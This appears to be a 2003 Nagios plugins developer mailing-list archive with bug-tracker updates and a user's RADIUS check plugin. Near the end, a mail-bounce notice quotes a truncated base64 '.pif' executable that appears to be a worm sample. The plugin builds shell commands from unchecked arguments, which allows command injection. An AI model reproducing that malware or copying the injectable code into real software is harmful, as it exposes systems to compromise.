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 lBIwp47yLBfxkJMl1WbiQ1q From info at mail.cs3i.fr Tue Aug 19 02:59:03 2003 From: info at mail.cs3i.fr (info info) Date: Tue Aug 19 02:59:03 2003 Subject: [Nagiosplug-devel] Nous vous remercions pour l'interet que vous portez a CS3i. Message-ID: <10308191151.AA17514775@mail.cs3i.fr> Nous vous remercions pour l'interet que vous portez a CS3i. Votre demande d'information a bien ete transmise au service commercial. Nous reprendrons rapidement contact avec vous afin de repondre a vos attentes. From reinaldo at vexbr.com.br Tue Aug 19 06:21:02 2003 From: reinaldo at vexbr.com.br (Reinaldo Silva) Date: Tue Aug 19 06:21:02 2003 Subject: [Nagiosplug-devel] plugin isn't being executed Message-ID: <002001c36654$4ca8e910$8e01a8c0@VEX3QY18813QLG> Hi, I am trying to make a little plugin that checks if the radius server is autheticating the user. Nagis tells that there is no output after it is executed and when I "stat"it, I realize that it hasn't been executed. Can sombody help me? Here goes the code: ./chech_radius user password hsot:port secret #include #include #include #include #include #include int main(int argc ,char **argv) { char line[100],cmd[256]="/bin/echo \"User-Name= "; FILE *fp; unlink(".radius"); strcat(cmd,argv[1]); strcat(cmd,", User-Password= "); strcat(cmd,argv[2]); strcat(cmd,"\" | /usr/bin/radclient "); strcat(cmd,argv[3]); strcat(cmd," auth '"); strcat(cmd,argv[4]); strcat(cmd,"' >> .radius"); system(cmd); sleep(1); fp = fopen(".radius","r"); bzero(line,sizeof(line)); fgets(line,sizeof(line),fp); if(strstr(line,"code 2")!=NULL) { printf("Access Accept."); return 0; } else { printf("Access Denied."); return 2; } fclose(fp); unlink(".radius"); return 3; } Reinaldo Silva Vex WiFi 55 11 3444 7876 Reinaldo Silva Vex WiFi 55 11 3444 7876 From noreply at sourceforge.net Wed Aug 20 02:40:05 2003 From: noreply at sourceforge.net (SourceForge.net) Date: Wed Aug 20 02:40:05 2003 Subject: [Nagiosplug-devel] [ nagiosplug-Bugs-621872 ] check_swap prints blocks not bytes Message-ID: Bugs item #621872, was opened at 2002-10-11 14:31 Message generated for change (Comment added) made by tonvoon You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=397597&aid=621872&group_id=29880 Category: None Group: None >Status: Closed >Resolution: Fixed Priority: 3 Submitted By: Nobody/Anonymous (nobody) Assigned to: Ton Voon (tonvoon) Summary: check_swap prints blocks not bytes Initial Comment: tested on solaris 8 & 9 / sparc - last production plugins and 1.3 output of plugin: /usr/local/nagios/libexec/check_swap -w 80% -c 90% Swap ok - Swap used: 53% (553744 bytes out of 1044464) swap -s total: 636192k bytes allocated + 161896k reserved = 798088k used, 437480k available swap -l swapfile dev swaplo blocks free /dev/dsk/c0t0d0s1 136,1 16 1044464 490720 as you can see the plugin is incorrectly reporting the blocks as "bytes". ---------------------------------------------------------------------- >Comment By: Ton Voon (tonvoon) Date: 2003-08-20 09:22 Message: Logged In: YES user_id=664364 Closing this call since there are no responses. ---------------------------------------------------------------------- Comment By: Ton Voon (tonvoon) Date: 2003-06-29 02:52 Message: Logged In: YES user_id=664364 The latest HEAD version will return swap information as MBs, which has been tested on Solaris & Linux. If there are no responses to this call in the next seven days, this will be closed. ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=397597&aid=621872&group_id=29880 From noreply at sourceforge.net Wed Aug 20 03:14:02 2003 From: noreply at sourceforge.net (SourceForge.net) Date: Wed Aug 20 03:14:02 2003 Subject: [Nagiosplug-devel] [ nagiosplug-Support Requests-725238 ] invalid drive when using check_nt Message-ID: Support Requests item #725238, was opened at 2003-04-21 21:15 Message generated for change (Comment added) made by tonvoon You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=397598&aid=725238&group_id=29880 Category: None Group: None >Status: Closed Priority: 5 Submitted By: Shane Reutzel (smreutzel) Assigned to: Ton Voon (tonvoon) Summary: invalid drive when using check_nt Initial Comment: I am able to retrieve disk information about the C: drive of a remote NT machine using the check_nt script. But, If I try any of the other drives on that machine, I get the following error "Free disk space : Invalid drive". Is there something specific that I need to include in the syntax? Thanks, Shane ---------------------------------------------------------------------- >Comment By: Ton Voon (tonvoon) Date: 2003-08-20 10:17 Message: Logged In: YES user_id=664364 No responses so closing this call. ---------------------------------------------------------------------- Comment By: Ton Voon (tonvoon) Date: 2003-06-29 02:54 Message: Logged In: YES user_id=664364 Is this still a problem? If so, will need more information - what command is being run at the command line? Which version of check_nt? Which version of NSClient? If there are no responses within 7 days, this call will be closed. ---------------------------------------------------------------------- Comment By: Luke Steele (luke_steele) Date: 2003-04-29 04:40 Message: Logged In: YES user_id=767368 service[server1] =Disk;0;24x7;3;3;1;admins;120;24x7;1;1;1;;check_nt_disk!c! 90!95! The 1st parameter is the drive letter, the second the lower threshold, the third the higher threshold Hope this helps ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=397598&aid=725238&group_id=29880 From noreply at sourceforge.net Wed Aug 20 03:16:03 2003 From: noreply at sourceforge.net (SourceForge.net) Date: Wed Aug 20 03:16:03 2003 Subject: [Nagiosplug-devel] [ nagiosplug-Bugs-788142 ] check_ms_spooler fails with splice error Message-ID: Bugs item #788142, was opened at 2003-08-13 16:56 Message generated for change (Comment added) made by tonvoon You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=397597&aid=788142&group_id=29880 Category: None Group: None Status: Open Resolution: None >Priority: 3 Submitted By: Steve Hanselman (stevehan) >Assigned to: Ton Voon (tonvoon) Summary: check_ms_spooler fails with splice error Initial Comment: This is in release 1.3.1 splice() offset past end of array at ./check_ms_spooler.pl line 319. This is possibly due to us having service definitions without descriptions: Sharename Type Comment --------- ---- ------- NETLOGON Disk Logon server share ADMIN$ Disk Remote Admin REPL$ Disk IPC$ IPC Remote IPC CDrom Disk C$ Disk Default share croot Disk SQL_Backups Disk E$ Disk Default share ExchInstall Disk PCCommon Disk connect$ Disk "Access to gateway connectors" G$ Disk Default share Roaming Disk BackupExec Disk Eroot Disk Address Disk "Access to address objects" Add-ins Disk "Access to EDK objects" HP8100 Printer HP LaserJet 8100 Series PCL 5e GFIMDat Disk MessDat1 Disk ACT Database Disk Technical Disk ACT Reports Disk tracking.log Disk "Exchange message tracking logs" SourceSafe Disk Resources Disk "Event logging files" MessDat Disk print$ Disk Printer Drivers Accounts Disk Homes Disk XeroxPha Printer Xerox Phaser 1235 Server Comment --------- ------- BDLTECH16 BDLTECH7 DECSERVER Brendata Backup Domain Controller & Test Server LINUX2 (mailgate) Samba 1.9.16p11 LINUX3 Samba Server on Linux3 PLUTO Samba 2.0.3 PRODNTSC1 Brendata Domain Controller PRODNTSC2 SALES1 SALES2 SALES3 SALES4 SALESXP TECH-PAUL TECH-RICHARD TECH5-XP Tech5-XP Workgroup Master --------- ------- BRENDATA PRODNTSC1 ---------------------------------------------------------------------- >Comment By: Ton Voon (tonvoon) Date: 2003-08-20 10:14 Message: Logged In: YES user_id=664364 Steve, Thanks for the bug report. Have changed the check_wins.pl to use nagios instead of netsaint. The problem with check_ms_spooler.pl is that scripts in contrib do not get the substitutions for the use lib line. There are two bits of work here: 1) getting contrib stuff to work after a make 2) moving contrib stuff to core if they are okay. Will leave this call open to work on (2) for check_ms_spooler.pl and check_wins.pl Ton ---------------------------------------------------------------------- Comment By: Steve Hanselman (stevehan) Date: 2003-08-15 08:46 Message: Logged In: YES user_id=521347 The error was due to there being no entries on the print queue, but the real error that was causing the plugin to fail was the fact that it did not specify the inc location for the utils.pm include: use lib '/usr/local/nagios/libexec/' ; Added this and it worked. There is also an issue with check_wins.pl in that it used the old netsaint path (which happened to be valid on our system), so appeared to work, but this needs changing as well. ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=397597&aid=788142&group_id=29880 From noreply at sourceforge.net Wed Aug 20 03:32:03 2003 From: noreply at sourceforge.net (SourceForge.net) Date: Wed Aug 20 03:32:03 2003 Subject: [Nagiosplug-devel] [ nagiosplug-Patches-751646 ] Allow check_time to optionally use udp Message-ID: Patches item #751646, was opened at 2003-06-10 00:56 Message generated for change (Comment added) made by tonvoon You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=397599&aid=751646&group_id=29880 Category: Enhancement Group: None >Status: Closed >Resolution: Fixed Priority: 5 Submitted By: Bradley Baetz (bbaetz) >Assigned to: Ton Voon (tonvoon) Summary: Allow check_time to optionally use udp Initial Comment: The attached patch allows check_time to optionally (via a -u/--udp flag) to check the time services using udp rather than tcp. ---------------------------------------------------------------------- >Comment By: Ton Voon (tonvoon) Date: 2003-08-20 10:55 Message: Logged In: YES user_id=664364 Bradley, Thanks for the patch. Applied to check_time.c v1.10. Closed. Ton ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=397599&aid=751646&group_id=29880 From noreply at sourceforge.net Wed Aug 20 03:40:07 2003 From: noreply at sourceforge.net (SourceForge.net) Date: Wed Aug 20 03:40:07 2003 Subject: [Nagiosplug-devel] [ nagiosplug-Support Requests-752837 ] Need help with Installing Patches Message-ID: Support Requests item #752837, was opened at 2003-06-11 20:20 Message generated for change (Comment added) made by tonvoon You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=397598&aid=752837&group_id=29880 Category: None Group: None >Status: Closed Priority: 5 Submitted By: Brian Snead (bsnead) Assigned to: Ton Voon (tonvoon) Summary: Need help with Installing Patches Initial Comment: I have not worked with installing Nagios Plugin Patches before. Is there a procedure documented somewhere? I downloaded the latest CVS distribution and compiled it, but the plugin I am looking for was not included. The specific plugin I am looking for is check_snmp_procs.patch. It looks like some type of Makefile, but I am not sure how to install it. Any help is greatly appreciated. Brian. ---------------------------------------------------------------------- >Comment By: Ton Voon (tonvoon) Date: 2003-08-20 10:18 Message: Logged In: YES user_id=664364 No responses so closing this call. ---------------------------------------------------------------------- Comment By: Ton Voon (tonvoon) Date: 2003-06-29 03:05 Message: Logged In: YES user_id=664364 Hi Brian, I'm not sure what this patch you are looking for is. Where did you read about it? You apply a patch by using the patch command. On Solaris, you need to run: patch {original file} < {patch file} Can you provide more info for us to help? If this call is not updated within 7 days, it will be closed. Ton ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=397598&aid=752837&group_id=29880 From Mailer-Daemon at lists.sourceforge.net Wed Aug 20 04:58:10 2003 From: Mailer-Daemon at lists.sourceforge.net (Mail Delivery System) Date: Wed Aug 20 04:58:10 2003 Subject: [Nagiosplug-devel] Mail delivery failed: returning message to sender Message-ID: This message was created automatically by mail delivery software (Exim). A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: save to /var/spool/exim/rejects/embeddedmimeattachement generated by message filter failed to lock mailbox /var/spool/exim/rejects/embeddedmimeattachement (lock file): retry timeout exceeded nagios-users at lists.sourceforge.net This message has been rejected because it has a potentially executable attachment "thank_you.pif" This form of attachment has been used by recent viruses or other malware. If you meant to send this file then please package it up as a zip file and resend it. If you didn't mean to send this file, and you are using microsoft outlook, you are probably infected. Please stop using outlook, it is inherently insecure and you are generating lots of wasted bandwidth and support headackes by using it, and you are jeopardizing your files and your data Please seriously consider using another mail client ------ This is a copy of the message, including all the headers. ------ ------ The body of the message is 100626 characters long; only the first ------ 10240 or so are included here. Return-path: Received: from lhr254b.dhl.com ([198.141.198.254] helo=CDGCONTW00407) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pR8p-0007tz-00 for ; Wed, 20 Aug 2003 04:28:40 -0700 From: To: Subject: Re: Re: My details Date: Wed, 20 Aug 2003 13:24:14 +0200 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_00057F49" Message-Id: This is a multipart message in MIME format --_NextPart_000_00057F49 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Please see the attached file for details. --_NextPart_000_00057F49 Content-Type: application/octet-stream; name="thank_you.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="thank_you.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 